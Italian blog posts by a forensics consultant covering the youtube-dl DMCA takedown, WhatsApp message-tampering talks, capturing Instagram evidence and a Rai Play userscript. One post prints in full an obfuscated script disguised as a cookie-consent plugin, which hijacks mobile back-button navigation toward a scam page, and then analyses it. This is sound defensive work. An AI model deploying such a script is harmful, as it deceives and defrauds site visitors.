Chi di voi si interessa al salvataggio dei contenuti audio/video dai siti web avrà sicuramente già sentito parlare di YouTube-dl. Si tratta di un software completamente open source, rilasciato addirittura nel pubblico dominio, che nel sito ufficiale è presentato in modo molto semplice:
YouTube-dl è un programma a riga di comando per scaricare video da YouTube.com e da qualche altro sito.
In realtà, a dispetto del nome “limitante”, il programma contiene oltre 1000 estrattori per le fonti più disparate, riunendo la potenza di strumenti esterni, quali FFmpeg, con codice scritto ad-hoc per moltissimi siti.
Concettualmente, l’idea è simile ai miei script per i siti delle TV italiane: si scrive del codice specifico che si adatta ai portali che si desidera supportare. Finora questo codice era mantenuto sulla piattaforma GitHub, la più grande comunità di sviluppatori software del mondo, di proprietà di Microsoft.
La richiesta di rimozione
Il 23 ottobre 2020, la Recording Industry Association of America (RIAA) ha presentato un’istanza di rimozione ai sensi del Digital Millenium Copyright Act (DMCA), richiedendo la rimozione del repository principale del progetto, nonché svariate versioni clonate o derivate (dette fork).
La vicenda è stata spiegata nel dettaglio su XDA Developers ma, riassumendo, la RIAA sostiene che YouTube-dl sia uno strumento atto a violare i diritti di copyright dei suoi assistiti (artisti e case discografiche). In realtà ci sono diversi aspetti problematici relativi a questa argomentazione.
Youtube-dl is a legitimate tool with a world of a lawful uses. Demanding its removal from Github is a disappointing and counterproductive move by the RIAA. https://t.co/VUbTokd4cP
Il tweet della EFF dove si spiega che YouTube-dl è uno strumento legittimo, con svariate applicazioni perfettamente legali
Come ha spiegato la Electronic Frontier Foundation (EFF), YouTube-dl è uno strumento lecito e può essere utilizzato per molti scopi assolutamente validi. Restando nell’ambito di YouTube, senza quindi citare le centinaia di altri siti web supportati, si possono scaricare video con licenza Creative Commons o nel pubblico dominio, come quelli governativi.
Inoltre, alcuni creatori di contenuti o persone che appaiono nei video usano il programma per scaricare i propri contenuti. Ne so qualcosa anch’io.
Insomma, sostenere che un software del genere sia illegale è un po’ come richiedere che sia proibita la vendita dei coltelli da cucina, in quanto oltre a sfilettare il pesce ci si possono potenzialmente fare altre cose.
Oltre a questo, la RIAA (entità americana) nella propria istanzamette insieme un’accozzaglia di motivazioni diverse, citando il DMCA (una legge statunitense) e subito dopo facendo riferimento a una decisione della Corte Regionale di Amburgo ai sensi del diritto tedesco. (?!?!?)
GitHub è un’entità americana, quindi deve sottostare alle richieste DMCA, tuttavia il fatto che tale atto abbia ripercussioni su tutti gli utenti a livello mondiale è una conseguenza che non deve essere sottovalutata.
Infine, è opportuno spiegare che l’unica possibilità che resta agli sviluppatori, volendo restare su GitHub, è quella di opporsi all’istanza, andando incontro a lunghe e costose vicende giudiziarie. In sostanza, presentare la richiesta per la RIAA è semplice ed economico, contrastarla richiede molto denaro ed è difficile, specie per un progetto open source.
Le reazioni in rete
Oltre alla citata presa di posizione della EFF (che fa quindi ben sperare in un coinvolgimento in difesa degli sviluppatori), non sono mancate numerose reazioni online.
Altre persone hanno cominciato a condividere nuove copie del codice (o, in gergo, forkare) su GitHub stesso, nonché su GitLab, BitBucket e tutte le piattaforme “alternative” ad esso, famose o meno.
Tuttavia, mi vorrei soffermare su due casi che ho visto online e che sono assolutamente fenomenali.
Innanzitutto, l’utente Twitter lrvick ha utilizzato un difetto noto da tempo a GitHub (e considerato “indegno” di essere corretto) per inserire una copia del codice sorgente di YouTube-dl direttamente all’interno del repository DMCA di GitHub.
Hey @GitHub. Remember that security bug where anyone can attach commits to repos they don’t control? That bug you said you wont fix?
It was used to attach the “youtube-dl” source code to your own DMCA repo. Have fun @DMCA.
Quindi, a livello teorico, ora la RIAA dovrebbe richiedere a GitHub di cancellare il repository di tutte le istanze DMCA, in quanto contiene il codice “incriminato”. 😀
Per farsi beffe di YouTube, invece, l’utente GitHub gasman ha condiviso un piccolo pezzo di codice e un video postato su YouTube, che contiene una codifica visuale (in binario) del codice sorgente del programma.
Clicca qui per mostrare contenuto da YouTube. Scopri di più nella privacy policy di YouTube.
Scaricando e decodificando questo video, caricato su YouTube, è possibile ottenere una copia del codice di YouTube-dl
A tutti gli effetti, gli utenti ora possono usare YouTube per condividere con gli altri un software usato per scaricare i video di tale sito.
In attesa di vedere l’evolversi della vicenda, è importante capire quali opzioni rimangono per scaricare i video da YouTube e da altri siti web, per scopo personale o comunque per altri usi legittimi.
Innanzitutto, c’è da chiarire che i download del programma sul sito ufficiale sono ancora attivi. Nel dubbio, è meglio usare solo yt-dl.org e ottenere una copia del software da lì. Gli utenti Linux e macOS possono usare anche Homebrew, pip o il proprio gestore di pacchetti.
Chi preferisce provare qualche alternativa può valutare l’uso di The Stream Detector (in accoppiata con streamlink oppure ffmpeg), JDownloader o altri programmi. Nei casi più difficili, può tornare utile leggere la mia guida completa per il download dei contenuti audio e video presenti nelle pagine web.
La cosa più importante rimane, in ogni caso, diffondere la conoscenza di questa vicenda e riflettere sulle conseguenze che atti del genere possono avere sulla nostra fruizione dei contenuti web.
Aggiornamento: il 16 novembre 2020 GitHub ha annunciato di avere reintegrato il repository del progetto, anche in seguito a una risposta ufficiale di EFF e alcune modifiche effettuate sul codice sorgente.
Dal 30 settembre al 2 ottobre 2020 si terrà la terza edizione di Treviso Forensic, uno dei principali appuntamenti tra professionisti (tecnici, avvocati, magistrati, …) che operano nel settore delle scienze tecniche applicate in ambito forense.
L’evento è organizzato dall’Ordine degli Ingegneri di Treviso e favorisce la figura del tecnico forense, con un approccio multidisciplinare che coinvolge diverse scienze.
La mattina del 2 ottobre conterrà una sessione interamente dedicata alla digital forensics e parteciperò con un intervento intitolato “Falsificazione dei messaggi WhatsApp sui dispositivi Android e iOS”.
Qui ve ne anticipo l’introduzione:
In Italia WhatsApp è la piattaforma di messaggistica istantanea più popolare in assoluto, con una penetrazione del mercato dell’84%. Questo fa sì che la produzione delle relative conversazioni si presenti sempre più frequentemente in vari procedimenti. I consulenti tecnici sono chiamati ad estrarre le chat dai dispositivi personali delle parti, in quanto il contenuto dei messaggi non viene conservato sui server.
Trattandosi di messaggi non riscontrabili dai tabulati telefonici, si pone il problema di valutare la genuinità e l’integrità del contenuto delle chat. Il presente lavoro è nato con lo scopo di verificare se fosse possibile per un utente falsificare i messaggi WhatsApp all’interno del proprio dispositivo, con Android o iOS.
Il talk conterrà un breve riassunto di un argomento che ho già avuto modo di trattare l’anno scorso al convegno ONIF, per poi presentare per la prima volta in assoluto una dimostrazione di messaggi WhatsApp falsificati su iOS.
Prima
Dopo
Esempio di chat modificata
Quest’anno, data la particolare situazione sanitaria causata dalla diffusione del Covid-19, il seminario si terrà in modalità webinar tramite la piattaforma Zoom.
Ciò significa che non potremo godere della vista di una città bella come Treviso, in compenso la partecipazione potrà essere estesa anche alle persone che si trovano più lontano.
Chi mi segue abitualmente già lo sa, da tempo partecipo come relatore a ESC, un incontro non-profit di persone interessate al Software e Hardware Libero, all’Hacking e al DIY che si svolge a fine estate presso Forte Bazzera, vicino a Venezia.
Anche quest’anno ho voluto dedicarmi allo sviluppo software, stavolta però ho proposto un talk riguardante la creazione di app per le piattaforme Android e iOS usando tecnologie web:
La tua prima app Android e iOS con Ionic Framework
Moltissime applicazioni per smartphone hanno una struttura simile e abbastanza semplice. Lo sviluppo nativo richiederebbe di programmarle con linguaggi e ambienti diversi a seconda della piattaforma. Ionic Framework è una piattaforma di sviluppo gratuita e open source che permette di usare una sola codebase esportando poi app ibride per Android, iOS e browser.
Al giorno d’oggi capita sempre più frequentemente di dover acquisire delle prove dai siti web, in particolar modo dai social network. Ci si trova quindi a dover “cristallizzare” il contenuto di una pagina prima che venga alterato oppure cancellato.
Il caso più classico è quello della diffamazione a mezzo Internet: la vittima del fatto ha la necessità di certificare l’offesa alla propria reputazione, avvenuta tramite un commento su un blog o un post su Facebook.
Un’altra circostanza piuttosto frequente è la tutela della proprietà intellettuale e industriale. Le pagine social aziendali attirano potenziali clienti e sono un ottimo strumento di marketing. Dei soggetti terzi potrebbero sfruttare illecitamente marchi, foto di prodotti o contenuti altrui a proprio vantaggio.
Quest’ultimo è un caso che mi è capitato recentemente: la pagina Instagram di un’azienda è stata indebitamente acceduta da una persona che se ne è appropriata, cambiandone il marchio e i dati di contatto. Questo fatto ha comportato l’alterazione di dati informatici (vedasi art. 635 bis c.p.), nonché un evidente danno all’azienda in quanto si è vista sottrarre anche numerose foto dei propri prodotti e i follower della pagina.
Lo screenshot non basta
In tutti questi casi c’è da fare una breve ma importantissima precisazione. Purtroppo alcune persone ritengono ancora sufficiente l’utilizzo degli screenshot come “prova” in un procedimento civile o penale. Il pensiero comune è:
Ho fatto lo screenshot! Ora lo trasmetto al mio avvocato e ti querelo!
Questo ragionamento fa acqua da tutte le parti.
Uno screenshot, vale a dire l’immagine dello schermo (o presunta tale) che “cattura” il contenuto di un sito web o una chat, non si può considerare una prova valida.
Il contenuto di una schermata può essere infatti alterato sia prima che dopo aver prodotto lo “scatto”. Tutto questo non richiede conoscenze tecniche particolarmente elevate, specialmente per le pagine web.
Se non vi ho convinto, potete sempre farmi i complimenti per la mia nomina a “Persona dell’anno 2019”. 😉
Esempio di screenshot assolutamente falso, creato solamente per scopi illustrativi
Ovviamente avrete capito che l’immagine qui sopra non è reale. Ma il punto è che si tratta veramente di una notizia comparsa online, che però è stata modificata prima di catturare la schermata.
Questa è una operazione alla portata di molti (se non quasi tutti), ma anche la modifica dell’immagine a posteriori è un rischio non indifferente.
Per questi motivi, la raccolta della prova che un contenuto è stato pubblicato non si può limitare a uno screenshot. Si deve procedere a cristallizzare la pagina in modo adeguato, prima che venga ulteriormente modificata o rimossa.
Acquisizione di base con i siti di archiviazione
Quasi tutti i profili Instagram sono pubblicamente accessibili. Questo perché Instagram è una vetrina dove le aziende possono rendersi visibili e condividere foto dei prodotti o altri contenuti interessanti per aumentare il proprio seguito.
Anche le persone non iscritte possono vedere i profili, utilizzando un semplice browser web. Pertanto, queste pagine si possono cristallizzare in modo semplice come molti altri siti.
Il modo più facile di cristallizzare pagine pubbliche come questa è adoperare i siti di archiviazione. Questi strumenti forniscono all’utente la possibilità di inserire l’indirizzo (URL) di un documento informatico pubblicato sul web, producendone quindi una copia informatica.
Archive.today (anche conosciuto come archive.fo, archive.is, archive.md, eccetera)
Esistono anche degli strumenti molto più sofisticati e costosi, come ad esempio FAW, usati professionalmente da chi si occupa di digital forensics. Tuttavia, qui mi voglio focalizzare su degli strumenti di base e relativamente semplici.
I siti di archiviazione sono mezzi gratuiti e alla portata di tutti, che permettono di agire in fretta quando si teme che un contenuto compromettente possa essere cancellato, anche prima di essersi rivolti a un consulente tecnico specializzato e/o a un avvocato.
Per acquisire un contenuto con Wayback Machine, bisogna inserirne l’URL nell’apposito modulo di salvataggio, attivare l’opzione che salva anche lo screenshot e poi procedere col pulsante Save Page.
Cristallizzazione di una pagina con la Wayback Machine
A questo punto, Wayback Machine simulerà l’azione di un vero browser e acquisirà il contenuto della pagina comprensivo di codice sorgente (HTML, CSS, JS) e risorse statiche (immagini e eventuali allegati PDF).
Al termine della procedura, si otterranno due link permanenti che certificano lo stato della pagina al momento del salvataggio:
Con Archive.today la procedura è molto simile, con la differenza che si ottiene un unico link da cui si può vedere una riproduzione fedele della pagina e la relativa schermata.
Generalmente le pagine cristallizzate con Archive.today sono un pochino più fedeli all’originale, ma non è una regola ferrea e va presa con le pinze. In ogni caso, le pagine acquisite con Wayback Machine conservano i nomi originali dei file multimediali (che potrebbero essere assai importanti).
Pertanto è spesso opportuno provare a fare l’acquisizione con entrambi gli strumenti, salvando poi gli URL delle copie così ottenute. I due siti forniscono anche gli screenshot, ma essi sono solamente a supporto dell’acquisizione e non la sostituiscono.
Una cosa utile da ricordare è che le pagine salvate su Archive.today possono venire indicizzate dai motori di ricerca. Per questo motivo, potrebbe essere preferibile non usare questo strumento se si ha a che fare con dei contenuti diffamatori.
Usando questa semplice procedura siamo già in una situazione mille volte migliore di chi si ritrova ad aver catturato solo una schermata.
Estrazione dei metadati
Apparentemente, quanto discusso prima sembra coprire al 100% la necessità di acquisire un profilo Instagram. Ma se avete mai adoperato questo social network tramite app, vi sarà venuta in mente la frase idiomatica:
There is more than meets the eye
Infatti il problema fondamentale in questo caso è che un profilo Instagram visualizzato tramite pagina web non contiene tutte le informazioni ottenibili con l’app.
Per esempio, ecco cosa succede con la versione iOS di Instagram:
Target ha indicato un numero di telefono e un indirizzo email che compaiono tramite il tasto Contatta. Tuttavia non c’è traccia di questi dati nella versione web di Instagram. Questo significa che sarebbe impossibile acquisirli dal sito, anche usando strumenti professionali.
Per ovviare a questo problema, possiamo attuare una procedura che simula il comportamento dell’applicazione ufficiale di Instagram usando le relative API private.
Questa parte è più complessa ed è dedicata agli addetti ai lavori, in quanto richiede la realizzazione di un piccolo software.
Dopo aver registrato un account di test su Instagram, possiamo creare un breve programma in linguaggio PHP che sfrutti la libreria Instagram-API. Prima di tutto, è necessario installare la libreria con Composer:
composer require mgp25/instagram-php
Poi si può adattare uno dei tanti semplici esempi già forniti su GitHub. In particolare, bisogna instanziare la classe e provvedere al login con l’utente di prova:
Consiglio di prestare molta attenzione al codice numerico instagram_location_id, anche se non è sempre presente. Questo valore è estremamente interessante perché permette di collegare una pagina Instagram a una pagina Facebook.
Prendendo come esempio l’account Instagram ikeauk, si ottiene il codice 187578611279774, da cui si ricava immediatamente un valido URL su Facebook: https://www.facebook.com/187578611279774/
Considerazioni finali
Grazie ai siti di archiviazione è possibile procedere a una prima cristallizzazione “di base” di un profilo Instagram. Simulando invece il comportamento dell’app per cellulari si può accedere a molti altri metadati, non altrimenti visibili.
L’ultimo consiglio che vi posso dare è quello di unire la procedura in PHP all’uso di mitmproxy per registrare tutti i flussi HTTPS intercorsi durante l’acquisizione. Vi basterà avviarlo e assicurarvi che il proxy sia correttamente impostato nel codice PHP:
Così facendo, potrete finalizzare il lavoro producendo il file registrato da mitmproxy, lo script di acquisizione, il relativo output ridirezionato in un file di testo e un breve report in PDF dentro a un archivio ZIP. Alla fine basterà apporre la firma digitale e la marca temporale.
Aggiornamento del 6 gennaio 2020: in seguito al graditissimo suggerimento di Paolo Dal Checco, ho aggiunto una precisazione sul fatto che le pagine memorizzate da Archive.today sono indicizzabili dai motori di ricerca.
Il 26 ottobre ho partecipato come relatore al Linux Day 2019 organizzato dal Gruppo Utenti GNU/Linux di Vicenza. Il filo conduttore di quest’anno era l’intelligenza artificiale e i video dei vari interventi sono stati poi pubblicati anche su YouTube.
Il mio intervento aveva un carattere piuttosto introduttivo, con lo scopo di presentare una panoramica della disciplina:
Introduzione all’intelligenza artificiale
Questo intervento si propone di fornire ai partecipanti una panoramica chiara, completa e divulgativa sull’Intelligenza Artificiale e la Computer Vision. Partendo da un’introduzione sui concetti di base, verrà spiegato il funzionamento base del Machine Learning e la sua implementazione attraverso le reti neurali. Non mancheranno cenni alle applicazioni quotidiane dell’Intelligenza Artificiale, inclusa la classificazione, la segmentazione e il riconoscimento dei testi.
Mi auguro che questo talk abbia permesso di fare un po’ di chiarezza, sottolineando come l’intelligenza artificiale abbia del potenziale enorme, ma non è perfetta e non è magia. Soprattutto, i robot non conquisteranno il mondo. 😀
Questo è il video su YouTube, come sempre di ottima qualità grazie al lavoro di montaggio di Stefano del LUG Vicenza:
Clicca qui per mostrare contenuto da YouTube. Scopri di più nella privacy policy di YouTube.
Il materiale usato per la presentazione è una versione lievemente rivista di ciò che avevo presentato l’anno scorso nel ciclo di incontri Dieci volti dell’Informatica. Lo potete visionare cliccando qui.
Chi segue questo blog da un po’ di tempo sa che nel 2010 avevo pubblicato il mio primo script per salvare i video dal portale Rai, proseguendo poi nel 2012 con un secondo script rinnovato.
Erano tempi bui, in cui gli utenti Linux non potevano neppure vedere facilmente i programmi per via di Silverlight. Lo script aveva lo scopo di integrare e far riprodurre i video MP4 e i flussi MMS tramite un player nativo, per esempio VLC.
Ora i tempi sono cambiati e il sito si è evoluto numerose volte in questi ultimi 7 anni, così come i browser che usiamo per navigare. Adesso i video si possono vedere senza problemi su tutte le piattaforme, ma le numerose modifiche effettuate continuamente nell’arco di tutto questo tempo hanno reso lo script precedente sempre più complicato e difficile da gestire.
Con la nuova grafica di Rai Play ho tagliato i rami secchi, eliminando il supporto a vecchie versioni del sito, vecchi browser e vecchie abitudini di programmazione. Insomma, è stato riscritto tutto daccapo. 😀
Funzionamento dello script
Schermate che mostrano lo script in azione
Il mio script vi consente di scaricare i video da Rai Play senza dover fare alcun login. In tal caso, inibisce la finestra che invita l’utente ad accedere e attiva la navigazione quando si clicca sulle miniature dei video.
Il pulsante per i download viene inserito in due zone diverse:
sotto alla scheda di un episodio
all’interno del player video (vale solo per chi fa il login)
Quando viene premuto il pulsante, parte il processo di ricerca del video MP4. Se viene trovato un file, lo script mostra una finestra modale con il link al video. Altrimenti compare un messaggio di errore.
Estensione per il browser
Prima di installarlo, dovete aggiungere l’estensione adatta al vostro browser. Lo script è sviluppato espressamente per Greasemonkey (versione 4) e Tampermonkey, sui browser rilasciati negli ultimi 2 anni.
Altre piattaforme potrebbero funzionare ma non sono testate né è garantito alcunché. In base al vostro browser, potete usare:
A questo punto vi basta recarvi alla pagina di download per installare lo script, premendo il pulsante qui sotto. Nella pagina che si aprirà, dovrete cliccare Installa questo script.
Come sempre, ricordate che lo script può funzionare solo se la Rai ha caricato il file in MP4, e non sempre lo fanno. Questo non dipende da me perciò non scandalizzatevi.
Lo script funziona solo ed esclusivamente su Rai Play. Se volete continuare a scaricare da altre sezioni del sito Rai, dovrete installare il vecchio script (che ora viene esplicitamente marcato come Legacy) seguendo il post precedente.
Il vecchio script Rai.tv native video player and direct links – LEGACYnon sarà più aggiornato. Potete naturalmente continuare a usarlo lo stesso, visto che attualmente funziona perfettamente per le altre sezioni del sito Rai.
Per quanto riguarda il nuovo Rai Play video download,vedremo per il futuro.
Come capita a ogni cambio del sito da parte della Rai, ultimamente sto notando interventi di tutti i tipi. Si passa dai commenti gentili e pazienti, a email più o meno insistenti… fino a qualche intervento al limite del passivo-aggressivo di persone che chiaramente non hanno la minima idea del lavoro che c’è dietro a tutto questo.
C’è chi mi scambia per un maggiordomo aspettandosi un aggiornamento a uno schiocco di dita (o all’invio di un commento sui social) e chi pensa che sia dovuto, scontato, ovvio che io passi il weekend a programmare uno script invece di spenderlo con gli amici.
A costo di dire qualcosa di sorprendente, io ho anche altro da fare. 😀 Dall’esperienza di questi anni sto imparando che pubblicare gli script che realizzo per me (come quelli delle TV) è sempre un rischio e porta poi a perdere un sacco di tempo in aggiornamenti e modifiche varie. Ho intitolato questo post (non a caso) “l’ultimissimo script” perché è anche un buon auspicio per il futuro. 😉
Quindi lo script continuerà ad essere quello che è sempre stato: un hobby. Ci lavoro se ho tempo, se ne ho voglia e se poi torna utile anche a me. 🙂
Vi è mai capitato di navigare sul web da smartphone e all’improvviso ritrovarvi pagine pubblicitarie che si aprono da sole o addirittura appaiono nella cronologia senza averle mai visitate prima?
Vi avevo già parlato di come bloccare le pubblicità sui dispositivi Android, però questo fenomeno di “intrusione” nella lista di pagine visitate è piuttosto subdolo e a volte può capitare ugualmente. La cosa dà particolarmente fastidio quando gli utenti del vostro sito iniziano a lamentarsi del fenomeno.
Questo è proprio ciò che è successo ad un cliente: visitando il suo sito web da smartphone, la pagina si apriva correttamente. Navigando non si notava nulla, fino al momento di premere il tasto Indietro del browser. A quel punto, l’ignaro utente era inesorabilmente dirottato verso una pagina pubblicitaria camuffata da promozione Amazon.
La finta promozione Amazon comparsa alla pressione del tasto Indietro
La richiesta che mi veniva posta era individuare la causa di questa “infezione” e rimuovere le pubblicità. Sembrava trattarsi di un classico caso di bonifica di siti web compromessi, come ne affronto abitualmente.
Tuttavia, a seguito di una veloce verifica, è risultato chiaro che il sito non era stato “bucato”. Nonostante ci siano malintenzionati che scansionano frequentemente la rete alla ricerca di siti con WordPress, Drupal oppure Joomla non aggiornati (o con plug-in vulnerabili) per violarli e infettarli, qui non era accaduto nulla del genere.
Lo sviluppo web con il tempo sta prendendo una direzione sempre più complessa e di conseguenza aumentano i componenti e le librerie che vengono usate nel lavoro. Chi ha sviluppato la grafica e le funzionalità del sito ha reputato opportuno usare alcune librerie Javascript, la maggior parte delle quali “interne”, quindi salvate direttamente nello spazio web associato al dominio in esame.
Nel verificare i file richiamati però spiccava invece un componente esterno, apparentemente innocuo e legato alla gestione della richiesta di consenso per l’uso dei cookie:
<!-- Begin Cookie Consent plugin by Silktide - http://silktide.com/cookieconsent -->
<!-- cookie conset latest version -->
<script type="text/javascript" src="https://s3-eu-west-1.amazonaws.com/assets.cookieconsent.silktide.com/current/plugin.min.js"></script>
Andando a vedere il contenuto del file, non compare nulla di buono. Il codice è chiaramente offuscato, non semplicemente compresso, cosa che dovrebbe far nascere dei seri sospetti sulla sua legittimità:
var _0xc368=["\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x74\x65\x73\x74","","\x23","\x70\x75\x73\x68\x53\x74\x61\x74\x65","\x73\x74\x61\x74\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x74\x6F\x2E\x32\x63\x65\x6E\x74\x72\x61\x6C\x2E\x69\x63\x75\x2F\x3F\x75\x74\x6D\x5F\x6D\x65\x64\x69\x75\x6D\x3D\x35\x62\x66\x35\x30\x35\x65\x61\x32\x62\x65\x63\x30\x66\x61\x32\x30\x34\x33\x38\x31\x31\x65\x30\x30\x39\x62\x66\x39\x65\x35\x66\x30\x35\x32\x31\x32\x32\x39\x32\x26\x75\x74\x6D\x5F\x63\x61\x6D\x70\x61\x69\x67\x6E\x3D\x32\x63\x65\x6E\x74\x72\x61\x6C\x26\x31\x3D","\x72\x65\x70\x6C\x61\x63\x65"];if(/Android|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini|Mobi/i[_0xc368[1]](navigator[_0xc368[0]])){!function(){var _0xa9b1x1;try{for(_0xa9b1x1= 0;10> _0xa9b1x1;++_0xa9b1x1){history[_0xc368[4]]({},_0xc368[2],_0xc368[3])};onpopstate= function(_0xa9b1x1){_0xa9b1x1[_0xc368[5]]&& location[_0xc368[7]](_0xc368[6])}}catch(o){}}()}
Il trucco di mascherare i comandi utilizzando le entità esadecimali è abbastanza diffuso, ma è anche semplice da analizzare. Il metodo “pigro” è quello di usare Online JavaScript Beautifier e ottenere un codice decisamente più leggibile:
Ahia! Questa nefandezza si può riassumere in parole molto semplici:
se l’utente sembra navigare da un dispositivo mobile, allora aggiungi 10 voci vuote alla cronologia delle pagine precedenti
quando viene premuto il tasto Indietro,rimpiazza la pagina corrente con un URL che rimanda alla pagina truffaldina
In questo caso la soluzione da prospettare al cliente è relativamente semplice: basta eliminare il riferimento allo script incriminato e sostituirlo con un altro codice che chieda il consenso per i cookie.
Quando si utilizza uno script ospitato su server di terze parti, dovete tenere a mente che in futuro il contenuto potrebbe cambiare. Per esempio, quel dominio potrebbe essere violato o semplicemente scadere e venire registrato da qualcun altro che ci inserirà codice malevolo. È quindi consigliabile linkare da fonti esterne solo script veramente fidati, per minimizzare i rischi e le brutte figure.
Avete un sito web che è stato violato, invia spam o manifesta altri comportamenti strani? Cliccate qui per contattarmi e parliamone.
Il 31 maggio si è tenuto il seminario ONIF (Osservatorio Nazionale Informatica Forense) a Firenze, intitolato Orizzonte 2020 — Informatica Forense a supporto di Autorità Giudiziaria, Studi Legali, Aziende, Forze dell’Ordine e Privati.
In quell’occasione, ho voluto proporre un intervento riguardante il tampering dei messaggi WhatsApp, con alcune osservazioni sul rilevamento di queste manomissioni e le eventuali conseguenze pratiche. Lo scopo non era certo quello di dichiarare “inammissibile” in tribunale qualsiasi tipo di conversazione WhatsApp, ma solo porre alcune riflessioni sul significato e l’affidabilità che si dà a questo tipo di evidenze.
Nell’informatica forense è sempre utile interrogarsi su come potrebbero agire i malintenzionati per alterare o fabbricare prove digitali fasulle. Questo ci aiuta a ragionare su ciò che analizziamo e considerare tutto quanto con spirito critico.
Durante il talk Conseguenze e rilevamento del tampering sui messaggi WhatsApp, ho proposto due esperimenti per cercare di capire se fosse possibile:
modificare il testo di un messaggio ricevuto da un’altra persona, a vantaggio del destinatario
creare un messaggio finto, mai realmente ricevuto, e inserirlo nel proprio telefono in una conversazione con un’altra persona
Clicca qui per mostrare contenuto da YouTube. Scopri di più nella privacy policy di YouTube.
Video integrale dell’intervento
Entrambi gli esperimenti sono stati effettuati sul database SQLite delle chat, trasferito su un dispositivo di lavoro tramite backup Google. Il trasferimento ci permette di lavorare su un dispositivo sottoposto a rooting anche quando lo smartphone originale non è “sbloccato”.
La modifica di un messaggio esistente è relativamente semplice, in quanto risulta sufficiente cercare il testo originale, modificarlo e salvare. Per quanto riguarda la creazione di un messaggio fasullo, essa richiede invece più attenzione. È necessario modificare gli id di tutti i messaggi successivi affinché non venga rilevata la manomissione.
In ogni caso, con un po’ di precisione e perseveranza, un malintenzionato potrebbe alterare i messaggi nelle proprie chat WhatsApp senza lasciare tracce visibili, per esempio inserendo illecitamente finti messaggi di minaccia insinuando poi di averli davvero ricevuti.
Maggiori dettagli sui procedimenti accennati sono presentati nel video dell’intervento disponibile su YouTube, nonché nelle slide che potete scaricare qui sotto.
Nella parte finale del video esprimevo stupore sul fatto che il mio contatto non avesse visualizzato notifiche sul codice di sicurezza cambiato. Due partecipanti al convegno mi hanno fatto notare come WhatsApp tenga disattivate queste notifiche, come impostazione di default. Li ringrazio per avermi chiarito questo dettaglio, che mi era totalmente sfuggito.
L’associazione ONIF (Osservatorio Nazionale Informatica Forense) ha pubblicato il programma del convegno Orizzonte 2020 — Informatica Forense a supporto di Autorità Giudiziaria, Studi Legali, Aziende, Forze dell’Ordine e Privati. Il seminario si terrà il 31 maggio a Firenze, presso la Sala Verde di Palazzo Incontri, Via de Pucci 1, 50122 Firenze.
L’agenda è ricca di interventi molto interessanti, sia sul piano tecnico-scientifico che su quello legislativo. Questo è il programma completo:
9:00 — Registrazione
9:15 — Apertura lavori Banca Intesa Sanpaolo, Fondazione Forense di Firenze, Dott. Nanni Bassetti, Segretario Nazionale ONIF
9:30 — Le nuove regole e la revisione dell’albo CTU del Tribunale di Firenze Ufficio di Presidenza del Tribunale di Firenze
10:00 — Il Netherlands Register of Court Experts (NRGD) Dott. Mattia Epifani
10:30 — Legge 48/2008, attesa quanto ignorata: dieci anni di casi reali Ing. Paolo Reale, Avv. Elisabetta Guarnieri
11:00 — Break
11:20 — Analisi di dispositivi mobile: stato attuale, integrazione con il cloud e difficoltà future Ing. Michele Vitiello, Dott. Paolo Dal Checco
11:40 — Rilevamento e conseguenze delle manomissioni sui messaggi WhatsApp Dott. Andrea Lazzarotto
12:00 — Digital Forensics Data Breach: perché gestire la violazione dei dati in maniera forense Dott. Alessandro Fiorenzi
12:20 — Immagini e video digitali come fonte di prova Dott. Massimo luliani
12:40 — Saluti e chiusura
Per partecipare all’evento è necessario procedere all’iscrizione gratuita sulla piattaforma EventBrite, facendo click sul seguente bottone.
Il 5 e 6 marzo a Londra si è svolta la Forensics Europe Expo 2019, un evento focalizzato sulle analisi scientifiche, la scena del crimine, le attrezzature da laboratorio e la digital forensics. La manifestazione ha fatto parte della più ampia cornice della UK Security Week, nella quale erano presenti anche altre expo riguardanti la sicurezza e l’anti-terrorismo.
Entrambe le giornate sono state caratterizzate da un fitto programma di seminari, la maggior parte dei quali riguardanti l’informatica forense. Rimaneva perciò poco tempo per visitare gli stand degli espositori, ma sono comunque soddisfatto perché ho assistito a quasi tutti gli interventi e sono riuscito a dare un’occhiata ai vari padiglioni.
La mattina di martedì è cominciata in grande stile, con dei controlli di sicurezza analoghi a quelli di un aeroporto. Nonostante la puntualità dei partecipanti, la fila per la scansione a raggi X ha fatto perdere a gran parte del pubblico quasi tutto l’intervento di Stuart Hutchinson riguardante l’analisi di partizioni APFS. È stato un vero peccato.
Tanya Pankova ha affrontato una delle applicazioni più “succulente” in ambito forense, con il talk WhatsApp Forensics: evidence hide-and-seek. Tra gli spunti più interessanti spiccano il fatto che i file multimediali nei backup sul cloud non sono criptati, la possibilità di usare il token WhatsApp per decifrare qualsiasi backup associato a uno specifico numero e l’estrazione delle chat sfruttando il QR-code di WhatsApp Web.
I droni stanno aumentando di popolarità, tanto da essere stati oggetto di due interventi diversi, rispettivamente di Harsh Behl e Paul Baxter. Questi apparecchi ricadono nella categoria dei dispositivi mobili e contengono soprattutto file multimediali e tracciati GPS in formato DAT. L’acquisizione molto spesso si rivela la parte più semplice, mentre l’analisi dei dati richiede maggiore impegno.
Un sistema di rilevamento per droni degno di un film di fantascienza
David Spreadborough di Amped ha illustrato le problematiche che gli agenti di polizia si trovano spesso ad affrontare quando devono analizzare i filmati delle telecamere di videosorveglianza. Nella maggior parte dei casi non servono strumenti avanzati, ma l’obiettivo essenziale è decodificare agevolmente i video, effettuare semplici operazioni (ritaglio, zoom, deinterlacciamento) ed esportare dei fotogrammi.
Al pomeriggio Dusan Kozusnik ha presentato un intervento dal titolo Advanced phone forensics – unlocking phones and getting maximum evidence, fornendo una panoramica generale sull’analisi forense degli smartphone. Dopo aver affrontato una carrellata di tecniche avanzate di accesso ai dati, ha concluso con uno spunto davvero interessante: dopo l’acquisizione, la vera sfida è l’interpretazione dei dati racchiusi nelle app, incluse quelle meno comuni.
Le operazioni di acquisizione forense devono comunque essere svolte in modo corretto, per questo Oleg Afonin le ha affrontate nel talk iOS Forensics: from logical acquisition to cloud extraction sottolineando in particolare cosa (non) bisogna fare quando si sequestra un dispositivo iOS.
Alessandro Di Carlo di BIT4LAW ha proposto un breve intervento intitolato Forensic readiness and digital forensics evidence in the Italian court, focalizzandosi in particolare sulle peculiarità del sistema giudiziario italiano. Nello specifico, la riproducibilità scientifica della prova assume un’importanza assoluta mentre non trovano spazio le testimonianze degli expert witness nel modo in cui si svolgono nei sistemi anglosassoni.
